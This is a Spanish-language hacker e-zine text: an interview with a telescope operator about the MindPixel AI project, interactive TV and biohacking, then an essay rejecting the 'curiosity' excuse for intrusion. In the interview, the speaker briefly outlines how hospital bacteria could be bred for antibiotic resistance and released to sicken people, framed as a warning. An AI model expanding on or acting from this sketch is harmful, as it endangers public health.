Es el pais mas avanzado de sudamerica y aqui hay suficiente tecnologia como
para poder buscar trabajo en caso de necesitarlo.
Cuando has trabajado con computadoras por 20 aos puedes trabajar en cualquier
lugar que quieras, puedes simplemente caminar a Cerro Paranal y decir "Hola,
donde esta mi escritorio?" y trabajar. Pense: "ire a Chile, escribire mi libro,
es posible obtener un trabajo en el mejor telescopio del mundo, tener el
trabajo mas interesante del mundo..." y bueno, era solo una idea, asi que lo
intente y funciono.
*Y cual es exactamente tu trabajo en el telescopio?*
Manejo el telescopio. Cada noche me siento en el telescopio, en la consola de
control. Son 11 estaciones de trabajo HP-UX y controlo hacia donde apunta el
telescopio y todo el sistema computacional que controla el telescopio,alrededor
de 600 computadoras, una red muy compleja. Si funciona es como un click del
mouse y no haga nada mas en 4 horas, mientras el telescopio se mueve y captura
la foto. Luego lo mismo, en el intertanto navego por internet -sonrie-
Pero si algo va mal tomo la linea de comando eliminando procesos, reiniciando
los sistemas... administracion de unix. Algunas veces puede que haya q
recompilar algo, por ejemplo los ingenieros pudieron estar haciendo un
experimento durante el dia y dicen "oh! se nos olvido compilar con las nuevas
librerias", entonces fuck, tengo que volver a versiones anteriores, reinstalar,
o cosas por el estilo.
Todo en el telescopio va por fibra optica, basicamente tienen lo mejor que se
puede comprar. Tienen mucho dinero. Lo unico malo son los monitores, son de 21"
pero no son planos, yo queria LCD, pero son muy costosos de traer a sudamerica.
Asi que manejo el telescopio cada noche acompaado de un astronomo diferente.
Los astronomos que van son de los mas importantes pues este es un telescopio
importante; y usualmente obtienen solo una noche en el VLT durante toda su
carrera, asi que estan muy nerviosos y no dejan de preguntar "funciona,
funciona?". Si tengo problemas los astronomos lloran, por que es solo
una noche. Si hay nubes... se dan un tiro... jaja.
El astronomo entiende su ciencia y las estrellas, pero no tiene idea sobre
los sistemas, acerca de la forma en que trabajan. Soy un taxista de astronomos.
Los puedo llevar a cualquier lugar del universo. Es como una nave espacial,
incluso luce como una nave espacial, asi que "aqui vamos..!".
*Puedes hablarnos de tu libro, "libro"... como tuviste la idea?*
Mi primer programa comercial fue un juego de ajedrez, siempre he estado, desde
chiquillo, interesado en aprender como ensearles a las maquinas a hacer cosas
que nosotros hacemos, cosas complejas. Asi que si entiendes como hacer un
juego de ajedrez, entiendes mucho acerca de la inteligencia de las maquinas.
Aprendes a tomar una tarea compleja y ponerla en el software en forma de
algoritmo. Cuando era joven no sabia que HAL, [2001: Odisea Espacial], no era
real, luego cuando tuve una computadora real descubri que son de los mas
estupidas. Mi sueo era que eventualmente las computadoras se harian mas
grandes, era solo un asunto de almacenamiento y colocar suficiente informacion
adentro en el formato correcto. La gente tiene mucho almacenamiento, mucha
memoria.
Trabaje en ello, escribi un programa que como la Apple Lisa, pretendia ser
humano. Podias hablar con el por modem de 300 bauds, acustico, y tendria amigos
por todo el mundo que llamarian a mi numero y hablarian a mi programa. Y dirian
"Hola como estas?" y el programa responderia "Oh, Bien". La mayoria del tiempo
escribrian cosas que el programa desconoce y responderia "No lo se"; y la gente
podria decirle una buena respuesta, asi cuando le otra persona le volviera a
preguntar ella ya tendria una respuesta. Y asi funcionaba. Pero no era
inteligencia real era solo una grabacion, solo repetia. No tenia un verdadero
entendimiento. Asi que estaba escribiendo un programa que seria capaz de hacer
cosas que los humanos pueden hacer, y serian verdaderas. No frases completas,
si no mas bien una sola palabra, por ejemplo yo diria "sombrero" y responderia
"cabeza", diria "noche" y diria "oscuro". Asi que estaba tratando se ensearle
a las computadoras a asociar palabras y construir conceptos como los nuestros.
El siguiente paso era hacer la respuesta mas simple, a la maxima simplesa: si
o no, binario. Sin importar lo que les diga a la maquina, como por ejemplo:
"las casas estan hechas de agua", tu diras "NO", pero la maquina tiene un 50%
de probabilidades de contestar correctamente. Asi que ahora, como es solo
binario puedeo utilizar el sistema de "castigo y premio" usando una red neural
entrenada.
La maquina no puede responder frases completas, solo si o no, pues es muy
complejo contruir oraciones enteras, para eso deberia saberlo todo, tener la
realidad en su cabeza. El problema que si quieres entrenar a una red neural que
entienda la realidad en forma binaria necesitas mucha informacion. Millones
y millones de preguntas acerca de todo: sobre zapatos, narices, novias,
emociones... No habia forma de poder hacerlo por mi mismo ya que no habia
internet.
Cuando estudiaba psicologia en la universidad fue donde mi profesor y le dije
la idea que tenia, para que me dejara utilizar el sistema computacional de la
universidad, que era VAX. Y me dijieron que no, "estas loco, no puede hacerlo".
Asi que deje la idea a un lado. Hasta 1994, cuando tuve la internet, pero antes
de la web, solo habia newsgroup, email, gopher... Entonces vi Mosaic, de la NCSA.
Y pense "ahora puedo obtener mi informacion. Si hago una pagina web con un
formulario ellos me enviaran las preguntas por email", por que era imposible
implementar aun una base de datos. Lanze el sitio el 94, el mismo ao en que la
web comenzo, y como era nueva no habia mucho que hacer asi que mucha gente
iba a mi sitio... recivi 450.000 emails. Luego me distraje, estuve produciendo
una teleserie para internet.
-tomamos asiento en el living, y Chris nos mostro un video de 5 minutos sobre
su proyecto llamado CR6, y basado en lo que llamo Clickleable Reality, un motor
interactivo que permitia seguir en profundidad la historia que se desarrollaba
en el sitio, quizas la primera teleseria en linea interactiva.
Cabe destacar que el nivel de produccion que se aprecio era de muy alto nivel
y la envergadura del proyecto era enorme si pensamos que se desarrollo en los
primeros aos de la internet, con conecciones de 14 kbps.-
*pareciese que CR6 fue un atisvo de lo que podria ser la television interactiva*
Exactamente, es acerca de que generaciones. La vida de mi generacion y la de mis
amigos ha sido la television. Pero mi hijo -"conectando" un teclado a la tele-
tendra otro tipo de television. Todo es acerca de control. Mis amigos no tienen
control, cero control, no pueden cambiar nada. Pero ahora hemos comenzado a ver
algo de television interactiva. Para el tiempo en que mi hijo tenga tu edad, el
video sera completamente liquido, sera lo que quieras. Para entonces Blockbuster
no sera mas que un website.
Si miras futbol, podras elejir la camara, el angulo...controlar la perspectiva.
*Hay dos puntos de vistas sobre el futuro de los medios de comunicacion, unos
dicen que la television sera mas como la web, otros que la web sera mas como
la television...*
Ambos son verdad.
*La palabra entonces es convergencia*
Exactamente. Ambos medios vienen hacia la misma direccion. Que pasa entonces?
tenemos el web, que necesita mucha interaccion, demasiada; mientras que en la
television hay muy poca interaccion. Lo que se necesita es una television con
interactividad opcional. Si quieres sentarte y simplemente ver lo podras, pero
si quieres cambiar... tambien.
*Es sobre opciones...*
Exacto. Debe ser compatible con ambos estilos de vida. Tiene que ser compatible
con ustedes que entienden la tecnologia, entienden todo. Si vieran una
television interactiva aqui tendrian que hackearla, es un mandato, para asi
entender como funciona, por que ustedes son la generacion que quiere entender.
Mis amigos no son de esa generacion, ellos ni siquiera puede usar Hotmail, se
perdien.
Asi que, el sistema tiene que manejar ambos tipos de personas. Por que hay
aquellos que son flojos, q no quiere saber ni aprender nada, solo quieren
sentarse y cambiar constantemente de canal... dos tipos de persona, dos tipos
de control.
*Como retomaste tu proyecto de Inteligencia Artificial?*
Bueno, me distrajo la television interactiva. Fue un error en el momento, la
tecnologia no estaba lista, era muy pronto...
*Ancho de Banda...*
Esa es la respuesta. Incluso ahora, tengo internet por cable y aun no tengo
suficiente ancho de banda para television interactiva, y es lo mejor que se
puede tener...
Entonces cuando la internet pueda hacer esto -golpeando la pantalla de la
television- tener pantalla completa, con ancho de banda total, video en MPEG-4,
MPEG-5, o lo que venga, la television morira como la conocemos, cambiara
radicalmente. La respuesta es ancho de banda.
Fue un mal momento, me costo mucho dinero... todo eso era muy caro, habia
mucha gente involucrada...
*Podria decirce que fuiste victima del "boom" de internet?*
Me autoinflingia, por que hacia el "boom" tambien.
*Crees que hay mucho de ese "boom" sobre internet hoy, con el movimiento .com,
las acciones del NASDAQ por el cielo...*
La realidad ha cambiado, ahora es dificil jugar con el mercado de acciones. Ya
no se creen lo de los "boom". Desde el 95 al 99 todo lo que decias [sobre
internet] la gente te lo creia y las acciones tomaban precios ridiculos. Ya no.
Ahora es "show-me-the-money".
En se momento yo lo hice por la tecnologia, pero las personas querian dinero.
"Si quieres dinero tienes que esperar 10 aos", pero la gente no espera ese
tiempo. Asi que tuve que terminar CR6.
*retomando la inteligencia artificial*
Si, el proyeco es MindPixel. El nombre lo invente mientras caminaba por la
Clinica Antofagasta [Antofagasta, Chile]... pero antes de tener si quiera el
nombre, cuando se me nego la oportunidad en la universidad le envie un email
a Marvin Mintsky. El es el mas famoso investigador en Inteligencia
Artificial del mundo, trabajo con Stanley Kubrick en 2001: Una Odisea Espacial.
Le dije de mi idea, y me respondio: "es posible, pero necesitas un corpus
enorme". Entonces me dije, ire por ello. Asi que pare lo de la internet, por q
era lo incorrecto. Pese a esto en mi pais golpeaban a mi puerta a cada rato
gente que queria q trabajara para ellos en Silicon Valley. Pero yo queria
trabajar en lo que es ahora MindPixel. Asi que tuve q parar y ponerme a
escribir un libro para explicar como trabajan las redes neurales trabajan y la
ciencia detras del proceso. Debia hacer tambien una base de datos que trabajara
en la web.
Vine a Chile a trabajar en mi libro y me invitaron a la H2K en New York
diciendome "Ven y habla acerca de esto, nos parece cool". En ese entonces
MindPixel era solo un dominio, y debia ir a New York con algo funcional.
Tenia muchos visitas pero ningun sistema, asi que en dos noches tuve que
aprender Php y ver como hacer el sistema muy rapidamente. Y asi que lo
programe en 2 noches aqui [en Chile].
Una vez en New York iba a dar la conferencia y el salon estaba repleto, como
600 personas querian oir lo que tenia que decir. En la muchedumbre escuche un
"bla, bla, bla.. callate weon!" Cuando escuche "weon" me dije "Chileno?",
entonces le pregunte al camarografo donde estaba el periodista y resulto ser
Cristobal Valenzuela [periodista de TVN], un estudiante de ingles mio en
Santiago (...lo primero que hice al llegar a Chile como cualquier gringo fue
ensear ingles para asi conocer gente). El no sabia que a quien iba a cubrir
era yo, fue una coincidencia masiva. Asi es como me conocieron, de otra forma
nadie sabria que estoy en Chile.
Luego de esto obtuve covertura en muchos medios como BBC, Computer Magazine en
Frances, BritishScience, CNN, TIME en aleman...
Luego Marvin Mintsky, en el MIT, decidio repentinamente despues de todos estos
aos que harian lo mismo que yo; comenzaron un proyecto llamado OpenMind. Me
altero mucho. Pues era mi idea y ahora querian robarla. Asi que tuvimos...
*Una pelea?*
una "discusion seria" diria yo.. jaja. Decidimos mantener una base de datos
comun en un mismo servidor, pero por dos frentes distintos. Una vez que hicimos
eso, la revista TIME escribio un articulo sobre la union de MindPixel y
OpenMind.
*Cuanta gente trabaja contigo en MindPixel?*
21.000 personas en la internet y nadie mas. Es un proyecto personal. Habra una
segunda persona involucrada, un psicologo muy famoso y mas viejo que yo. El
trabaja con emociones y tiene un sistema para cuantificar las emociones en un
sistema tridimensional. Asi que cualquier emocion puede ser especificada en
tres coordenadas: placer, dominacion, exaltacion. Actualmente MindPixel solo
toma verdadero o falso, buscando la verdad de una idea en particular. Luego
agregaremos los otros 3 ejes. Asi tomaremos una muestra binaria ademas de las
emociones relacionadas, y junto con tomografias confeccionamos un modelo
hiperdimensional de la conciencia humana. Asi cuando tengamos suficiente gente,
alrededor de unos dos millones, el numero de personas q colaboran en Seti@Home,
podremos confeccionar un modelo promedio de todo lo que es verdadero y de las
emociones que te hace sentir, [entonces] tendremos millones de muestras, y con
eso armamermos un modelo con el que podamos predecir cosas que no estan en el
modelo [original].
*Entonces, cuando termina la recoleccion de datos y comienza la creacion de
nuevos pensamientos? Tu eres psicologo, creo que pudes explicarnos si la
creacion de pensamientos originales es lo que define la inteligencia.*
Ese es el segundo paso en inteligencia. El primer paso involucra la inteligencia
minima, es decir un sistema desconocido para mi, pero que al hacerle cualquier
pregunta me de una respuesta en binario. Si no puedo distingirlo de un ser
humano entonces es puedo decir q es inteligente, lo sabe todo acerca de la
realidad. Eso es inteligencia minima, con un bit me puede decir correctamente
si sus experiencias son las mismas que las mias, y asi tendria inteligencia,
experiencia y emociones humanas. En un bit seria la copia de un ser humano. No
un ser humano particular o especifico, si no uno ser humano generico. Seria un
ser humano pasivo, responderia si o no. La ventaja de la maquina es que trabaja
por siempre y rapido.
La idea es luego tomar un generador de oraciones al azar, un algoritmo, y
enviarle esas frases a la "conciencia artificial". Por ser al azar casi todo
el tiempo [la computadora] dira "Que?". Pero quizas en un billon de intentos
respondera "Si" o "No". Descubrira algo independientemente del azar, entonces
tomare eso de vuelta, sea lo que sea, y lo usare para cambiar el algortimo,
los numeros del generador de ideas al azar, para hacer algo similar pero
diferente. Lo proximo que descubrira sera similar al pensamiento original, pero
distinto al mismo tiempo, tienes entonces pensamientos artificiales e
independientes. Sera como una persona, no tendra ideas grandes como la
que tengo ahora, si no pequeas ideas, seguidas de una idea similar, y otra
y otra y asi para siempre.
La meta es que eventualmente cada persona tendra una [computadora con IA] propia,
controlando el campo de pensamientos, el generador al azar. Le diras, "piensa
sobre cerveza, nada mas que cerveza", y no tendra opcion, por que toda su
realidad esta subyugada al generador de numeros al azar, el determinara
sus experiencias. Luego podras decirle "piensa sobre cerveza y cosas graciosas"
por que tendra emociones, asi quizas haga bromas ... podria escribir un
programa de tv como Los Simpsons ... jaja.
Lo otro que puedes hacer es darle un microfono y con reconocimiento del habla
decirle "piensa en lo que escuchas"; en ese punto la etica, todo se vuelve
diferente, ya que ahora esta escuchando y tendra ideas sobre sus propias
experiencias, y alli vienen los problemas: podre simplemente apagarlo? Podre
hackearlo? Podre hacerle sentir malas experiencias? Es como un amigo cuya
realidad controlas completamente... es literalmente ser dios. Si quiero
vera el color que desee: "solo veras azul", o "tu pies duele", "te rompiste
un brazo"... se puede ser muy cruel. Habran personas que le diran "te estas
quemando, piensa en fuego, piensa en dolor!" o "piensa en sexo", o lo que sea.
Es gente artificial.
Ahora hackeas sistemas que son estupidos no hay inteligencia alguna en el, pero
en 20 aos tendras sistemas que no podras distinguir de los seres humanos...
*Podremos apagar esas maquinas?*
No se que pasara. Es necesario que suceda para saber que pasara. Sospecho que
si [podremos apagarla], por que la gente dira "no es real". Recuerdan cuando
Deep Blue gano a Kasparov en ajedrez? Dijieron "ahh.. no diferente, no es un
ser humano.. Que el mejor jugador de ajedrez del mundo sea una maquina...mm
no importa, por que puedo apagarla". La gente al tener la oportunidad de
apagarlo, lo apagaran. Lo mas interesante seria contruir una maquina como
esta [con conciencia artificial] con camaras de video, microfono pero sin un
interruptor de apagado... "Aqui esta, no hay boton de apagado, si quieres
apagarla tendras que matarla". Sera como Blade Runner. Tendras maquinas que
seran exactamente como personas... [no en el sentido fisico], seran
probablemente como eso -apuntando a nuestra grabadora de voz-... sera tu amigo.
*Como un muy avanzado tamagotchi*
Claro, eso es la otra cosa... la razon por la que se esto es por que estoy
trabajando en un proyecto comercial... -se va por un momento a buscar algo, y
llegua con un Furby en caja-... Mindpixel en un Furby... probablemente en 5
aos sera un Furby muy diferente
*En la revista WIRED se publico un articulo acerca del desarrollo de jueguetes
inteligentes, algo muy similar a lo que nos hablas ahora*
Wired me llama cada semana por que saben de este proyecto, pero aun es secreto.
El procesador en el Furby es una calculadora, pero eso cambiara.
*Volviendo a MindPixel, cuanto tiempo crees que demorara el proyecto para
concluir?*
Creo que en unos 10 aos las cosas se podran interesantes.
*Y cual es la diferencia principal entre MindPixel y OpenMind?
Las diferencia primaria es la forma en que el proyecto se ejecuta, es acerca
de motivacion. Cuando entras informacion a MindPixel te convirties en parte
dueo de la compaia...
*acciones?*
Si, mas trabajo, mas acciones. En cambio OpenMind es simplemente abierto, no
hay acciones, no hay motivacion, nada. Los datos que entregas a OpenMind pueden
ser utilizados por quien sea de la forma que quiera. Es posible que esos datos
sean utilizados por IBM en un proyecto comercial para hacer dinero. Si hablas
a MindPixel IBM no puede utilizar esos datos sin primero pagar a MindPixel, lo
que significa pagarte a ti. Asi que hay una posibilidad de que en el futuro
puedas obtener dinero por tu trabajo.
Ahora, la mayor diferencia en el sistema mismo es que en OpenMind no requiere
validacion, puedo decirle cualquier cosa y me creera. En MindPixel cuando
entras algo pasas por un proceso de validacion en el que ves otras 20
[preguntas] y dices Si o No. Asi contruimos un modelo estadistico de las
respuestas correctas. No puedes mentirlem, en cambio puedes decirle a OpenMind
"los arboles estan hechos de arroz", y me creera... es de locos.
La otra diferencia es quienes estan detras. En OpenMind, son estudiantes del
MIT de segundo ao. Asi que tienen ideas muy diferentes acerca de lo que se
puede hacer. Ni siquiera pueden pensar en una conciencia artificial, juguetes o
productos, solo piensan en algo para su tesis. Yo no tengo que hacer una tesis
asi que puedo pensar en grande, por ejemplo, pienso en toda la informacion que
se perderia si la tierra fuera golpeada por un asteroide... quiero hacer un
backup de la humanidad, por si acaso. O, quizas nunca viajemos a las estrellas
y nos quedemos en la tierra, si eso sucede la raza humana perecera; necesitamos
la maquina para grabar quienes eramos y enviarla... quizas nuestros cuerpos no
puedan ir, pero si nuestras experiencias. Tendras una persona artificial que
vivira por siempre e ira a las estrellas, puede ir muy lento pero al ser eterna
que importa... en un billon de aos dira "ooh, recuerdo la Tierra". Esa es mi
meta, hacer una persona que viva por siempre.
*Hablando de la vida misma, que piensas sobre la clonacion, el genoma humano..?
La biologia es ciencia de la computacion. La biologia es programacion. En
verdad pienso mucho sobre eso.
El genoma es simplemente otra cosa que hackear...
*es codigo fuente...*
Si, el mas importante codigo fuente... estamos recien comenzando a comprenderlo
En la revista Science se publico un articulo sobre la mosca de la fruta.
Encontraron un gen controlador maestro, como una llamada de subrutina, llamado
"eyeless". Si quitas el gen en una mosca no tendran ojos, pero si lo tomas y
lo pones devuelta al azar la mosca resulta con ojos en cualquier lado. Lo
importante es que la secuencia, el codigo, es la misma para moscas, hombres,
en todos los genomas los ojos son lo mismo. Creian que los ojos se desarrollaban
independientemente, pero no, es el mismo software.
Que 20 aos entenderemos, tal ves no como funciona la subrutina, pero sabremos
como llamarla, sera como "call eye" o "include eye". Es aqui donde ustedes
tienen la mejor oportunidad de cambiar el futuro. Si realmente estan interesados
en las tecnologias de la informacion, esta [,la biotecnologia,] es la tecnologia
de la informacion que deberian estar leyendo. Requiere una cosa de dos: ir a la
universidad o tener una coneccion a internet. Eventualmente la internet sera lo
mismo que la universidad, puedes aprender lo mismo.
Ahora mismo si quieres comenzar a hacer experimentos en genetica en tu casa,
con 20.000 dolares puedes hacer cosas interesantes. Es la misma cantidad de
dinero que necesito Bill Gates para iniciar Microsoft. Entonces lo siguiente
es construir secuencias de proteinas y todo ese material de laboratorio tan
caro... esos instrumentos son caros por que solo las compaias sabe como
hacerlos, pero no son complejos. Por ejemplo, una sistema de etiquetado laser
para hacer secuenciado genetico: el laser cuesta mil dolares, el resto
quizas otros mil dolares, pero lo venden en 50.000 dolares por el software q
lo controla. Tu puedes hacer eso, es cosa de hacerle ingieneria reversa a una
copia y puedes contruir el sistema no en 50.000 si no en 2.000 dolares, y luego
puedes comenzar a hacer hacking realmente serio...
*Es como hackear la vida misma, el hacking maximo*
Exactamente. "Biohacking". Mi proximo libro. Pase mucho tiempo hablando de
eso en New York para la PBS. Tu me preguntaste sobre los problemas que un hacer
de computadoras puede ocacionar, ahora imaginate en biologia. Serios problemas!
-va a buscar un libro-
Este libro [Biohazard] fue escritor por el ex-director de armas biologicas de
la Union Sovietica...
*bastante escalofriante*
Absolutamente aterrador, diria yo. Y esto nisiquiera es realmente hacking, es
simplemente utilizar lo que esta en el ambiente.
Podria ir ahora a la Clinica Antofagasta, a una sala de operaciones y tomar con
una cinta autoadesiva algunas bacterias, las llevo a casa, las coloco en un
plato petri, compro antibioticos y lo pongo dentro en concentraciones muy bajas.
Mato algunas, luego las dejo crecer, y repito eso ciclicamente. Eventualmente
en un par de semanas tendre bacterias que los antibioticos no pueden matar.
Luego las llevo de vuelta al hospital, resultado: muchas personas se enfermaran
Es muy peligroso. Se pueden hacer cosas horriblemente terribles sin inteligencia
alguna, sin hacking, solo copiando como los script-kids: no tiene idea de como
escribir un virus, solo lo copian. Es una analogia perfecta.
*Que esta leyendo actualmente?*
Leo continuamente. Asi que paso por la aduana siempre buscando mis paquetes. El
problema es que aqui en Antofagasta no tienen libreros, no hay en Falabella ni
en Ripley, asi que amontono los libros en un closet.
-lo acompaamos adentro, donde tiene sus libros-
Aqui, por ejemplo "Low Cost Aproach to Polimer Chain Reaction", esto es como
copiar ADN en paises pobres como Africa, Peru, cosas asi. Es el mejor manual
sobre hacking ADN en este momento.
Clasicos como el libro original sobre cibernetica... "Direct Democracy", sobre
democracias donde la gente tiene voto y opinon directa como en MindPixel...
Este, "Original Order", es un libro muy importante pero dificil de obtener.
"Teaching Apes", este mono puede aprender el lenguaje humano, si puedo ensearle
a un simio a ser inteligente puedes ensearle a una computadora...
"Engine of the Mind: The evolution of computers from Mainframes to Microprocesor",
"History of Modern Computing"... "Alan Turing: The Enigma", la biografia del
inventor de las computadoras, un libro muy detallado sobre las fundacion
absolutas en que se basan las tecnologias de la informacion.
*Cual es tu libro favorito, tu biblia.. aquel libro que se debe leer*
Hay un par... pero si debo tomar uno quizas seria "The Simbolic Species: The
co-evolution of Lenguage and Brain"...
*que es eso de alli?* -pregunto sobre una placa enmarcada en un cuadro que cuelga
en la pared-
Eso? es una de las 700 tarjetas que componian la primera Cray 1 S/1000
*la primera supercomputadora que se construyo... es historica*
Si, se utilizaba para simular bombas nucleares.
*Cual ha sido tu impresion de los chilenos?*
No tengo mucha experiencia con chilenos, trabajo en ingles con muy pocos
chilenos. No conozco a ningun chileno... Cuando estuve en Santiago tenia
estudiantes, pero ahora que estoy aqui no. "Quien quiere aprender hacking?", es
una habilidad muy especifica; ademas no sabia que ustedes estan aqui.
*Peliculas favoritas?*
Blade Runner y 2001: A Space Oddisey...
-luego volvimos al living donde estuvimos un rato conversando informalmente
sobre los primeros aos de la informatica, tiempos del que Chris fue participe
y protagonista. Revisamos unas revistas Micro80 antiquisimas, y leemos codigo
en basic y Chris recuerda los viejos tiempos de modems acusticos -en los que
se debia colocar fisicamente el auricular acomplado a un parlante y mic- Vemos
tambien una revista BYTE en su primer numero, una pieza de historia y coleccion
que actualmente cuesta unos miles de dolares...
*Que piensas del software moderno?*
Es igual que la historia humana, tiene mucha historia y codigo viejo que es
mal. El mayor problema con Microsoft es que deben mantenerse compatibles...
*el problema del legacy [legado]*
Eso es. Arrastrar codigo legado. Me gusta que de ves en cuando alguien vaya a
un sistema completamente virgen: un compilador de C y listo, de alli partir.
*Pareciese que es el legado es el mayor problema de la industria y la
innovacion*
Si, pero hay una solucion, esta es tener todo a traves de una interfaz web,
pues la web mejorara, entonces el backend no importara y podra ser cambiado
a cada momento, eliminandose el legado.
*Es la tesis de que Microsoft arremetio contra Netscape y Sun por que vio
su predominio en Sistemas Operativos en un potencial riesgo ante la posibilidad
de que la web se transformara en el protagonista del software*
Si. La propuesta de Sun fue que el software se convertira en un servicio.
*Ahora Microsoft lo esta haciendo con la iniciativa Microsoft .NET*
Exactamente, en ese entonces fue, denuevo, demasiado temprano. Mi compaia
en ese entonces penso en eso. Vi que habrian computadoras sin disco duro, y las
aplicaciones serian entregadas a traves de tu browser.
*Como los Network Computers de Oracle y las JavaStation de Sun*
Si, eran Sun y Oracle en ese tiempo. Nosotros ibamos a trabajar con Corel
desarollando software para esos dispostivos. Sun nos envio un prototipo en 1997
lo prendimos y era solo web, no podiamos hacer nada. Ni siquiera un editor de
texto. Asi que el primer programa que escribimos fue un editor de texto para
poder asi hacer paginas en HTML. Luego hubieron una seria de problemas que nos
volvio locos, asi que dije, "esperemos, aun no es el tiempo".
En CR6, la teleserie, escribimos software muy grande para nuestras herramientas
y frameworks, hicimos grandes librerias para Java. Muchas funciones que Java
no tenia ya hora se utilizan estan basadas en nuestras librerias. Asi que
aun cuando el editor de texto o el software de CR6 nadie lo utiliza ya, deves
en cuando al visitar librerias Java en internet me topo con codigo basando
en nuestras librerias y trabajo.
*Que piensas sobre GNU y otros esfuerzos de codigo abierto que tratan de
rivalizar con el software comercial*
Pienso que en el backend, el codigo abierto ya esta venciendo al software
comercial. Solo los locos instalan Windows 2000 en un servidor. El codigo
abierto es simplemente mejor codigo.
*Si, en el backend, especialmente en servidores el codigo abierto esta ganando,
pero cuando llegara al usuario particular? Microsoft parece tener las de ganar
con su interfaz*
Si, me parece infortunado. El HTML sigue siendo un estandar, y cada vez que veo
a Microsoft tratando de cambiar Java o HTML me enfurezco, tu te enfureces, todos
se enfurecen, pues es tipo de especificaciones no deberian ser comerciales. El
software comercial debiera ser solo la idea de lo que un programa puede hacer,
su funcionalidad, no la interfaz. Nadie deberia ser dueo del diseo de mi
control remoto, pues no es importante. Puedes ser dueo de la programacion, de
lo que veo, pero no mis botones, no puedes ser dueo de mi interfaz. Es
distinto si haces algo realmente especial en el backend, como Oracle. Ellos
tienen muy buenos sistemas de bases de datos, pero son caros. Asi que si
quiero hacer un sistema realmente complejo no ocupare mysql o algun software
abierto, por que ellas no pueden competir con Oracle. Ellison [ CEO de Oracle ]
tiene software muy bueno, mucho mejor que el de Gates.
*Gracias por todo, fue un placer conocerte y conversar contigo*
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Quien es Quien >>>---------------------------------[ by ThEye ]------=>
Este texto no habla sobre la tipica etica hacker ni nada.Esas cosas desde
mi punto de vista son basura,por decirlo de alguna forma suave.
Diferenciar entre hacker y cracker es bastante dificil,por decir INUTIL.
Al usuario comun,a la gente de a pie,eso NO LE INTERESA.Al administrador,
a la gente encargada de la seguridad TAMPOCO LE INTERESA.Para ellos todos
son iguales,y les encuentro razon.
Estamos acostumbrados a ver textos en donde nos dicen: "los hackers
solo miran,no tienen ningun interes en el server".FALSO se~ores,si el hacker
de turno esta mirando el server es porque algo lo mueve a hacerlo,y ese algo
JAMAS es curiosidad,siempre el movil es mas fuerte que ese noble sentimiento.
CURIOSIDAD,es la palabra clave.La curiosidad mato al gato dicen por ahi,
y es cierto.Esas ganas casi insoportables por saber algo,cuyo nombre es
CURIOSIDAD,han sido mal interpretadas desde tiempos remotos.Nada mas es
recordar el famoso mito de Pandora y su caja.Por la CURIOSIDAD de esa mujer es
que nuestro mundo esta como esta (segun el mito) y por lo tanto debemos
considerar la curiosidad como algo malo,algo que arruina las cosas.Y eso es
lo que las miles de generaciones de humanos han hecho:sentir curiosidad es
malo te dicen,pero no olviden que la curiosidad es la que lleva a los
investigadores a investigar (precisamente).Sin la curiosidad la humanidad no
seria lo que es ahora (noten la diferencia entre decir "no seria lo que es
ahora" con "nuestro mundo esta como esta").
Que habla este individuo? mas de alguno se preguntara.Bueno,quiero decir
algunas cosas como por ej. que hay curiosidades y curiosidades.
Por ej. : si una persona llega y revisa el cajon de tu pieza donde
tienes guardadas tus cosas personales,que harias tu?. Tomarias medidas
represivas sin duda.O bien,si alguien entrara a tu casa "solo por mirar",que
sentirias? , te sentirias usurpado y facilmente podrias llamar a eso invasion,
y la invasion es un delito,es algo reprobable.
Es justificable entonces que los "hackers" digan: "nosotros solo entramos
a los servers por curiosidad"? , desde mi punto de vista no justifica nada.
No podemos proteger actitudes como esa.Realmente no le hacemos un favor
al administrador al entrar a un server y dejar una nota diciendo: "loko sais q
soy hacker y entre por aca.Pa cerrar ese hoyo hace esto y esto otro".
Yo creo que le hacemos un favor no entrando donde nada nos incumbe.
ES LOGICO O NO ES LOGICO ? ,es bastante logico.
Entonces quienes son los hackers?
No se.
Se tratara talvez de individuos increiblemente inteligentes que programan
todo el dia? No,para nada.Si se tratara de gente que se pasa todo el dia
frente a un computador yo los llamaria,antes que hackers,anormales.
Ese es el problema que surge hoy en dia.Nadie sabe que es quien.
El ser humano tiene una tendencia a clasificar todo.Como sabemos,los
pseudoseres del cyberespacio estan ya clasificados en varias categorias,y
con esa clasificacion nace uno de los problemas que la humanidad ha arrastrado
desde la antiguedad.Ese problema es la discriminacion.
Me hace gracia ver aquellos manifiestos del cyberespacio que aun hoy
surgen,siguiendo aquel famoso escrito por Mentor,en donde dicen que:
"Nosotros los hackers vivimos en el cyberespacio protegiendolo de
cualquier manifestacion de maldad de Uds. los que viven "ALLA AFUERA" ".
Que chiste.No podemos separar entre vida conectado y vida desconectado.
El computador es una herramienta,NO UN HABITAT.Mejor que aquellos que viven
en el IRC o conectados por cualquier razon y se llaman hackers vayan al
psicologo con urgencia.No saben el dao que se hacen.
Volvamos a lo de la discrinacion.Lo que hacemos conectados puede ser,de
alguna forma,reflejo de lo que hacemos en nuestra vida diaria.Si decimos
ser unos hackers que luchan por la libertad de informacion y por un mundo sin
barreras pero discriminamos a los "lamers" que preguntan cosas,estamos siendo
nosotros mismo lamers dignos de discriminacion.Y es que el "cyberespacio" esta
poblado de jovencitos que dicen saberlo todo en canales de IRC en donde
discuten y pulen "tecnicas de hacking" y cosas asi.Otro chiste.Esa gente solo
sigue una moda,pero no saben lo que hacen.Si fueran tal como se pintan es sus
manifiestos,serian todos candidatos a beatos en el Vaticano.
Hasta cuando este individuo critica a todos los que son felices
conectados todo el dia?
Ya termine creo yo.O tal vez no.
Quizas el fin que perseguia al empezar a escribir este texto es el de
expresar mi repudio por todos esos seres que se hacen llamar hackers,crackers,
lamers o lo que sea.Considerense humanos (si es que lo son) y ya.
No justifiquen sus acciones con el clasico "fue por curiosidad".Yo mas
bien les recomendaria que ordenaran sus vidas y se dieran cuenta que dedicarle
tanto tiempo a una maquina es malo. Por naturaleza el ser humano es sociable,
si Uds. no lo son,hagan un esfuerzo por serlo.
Algo queda claro entonces con este texto?
Pues que los mas seguro es que los hackers no vivan en el cyberespacio.
Es cierto se~ores.Los hackers segun creo yo son la gente que hace algo
por el resto en cuanto a informatica. Son esos miles de programadores
que escriben software libre y que solo lo hacen por gusto y para ayudar a la
comunidad.
En otras palabras,en palabras de los de "afuera":
Son los buenos samaritanos.
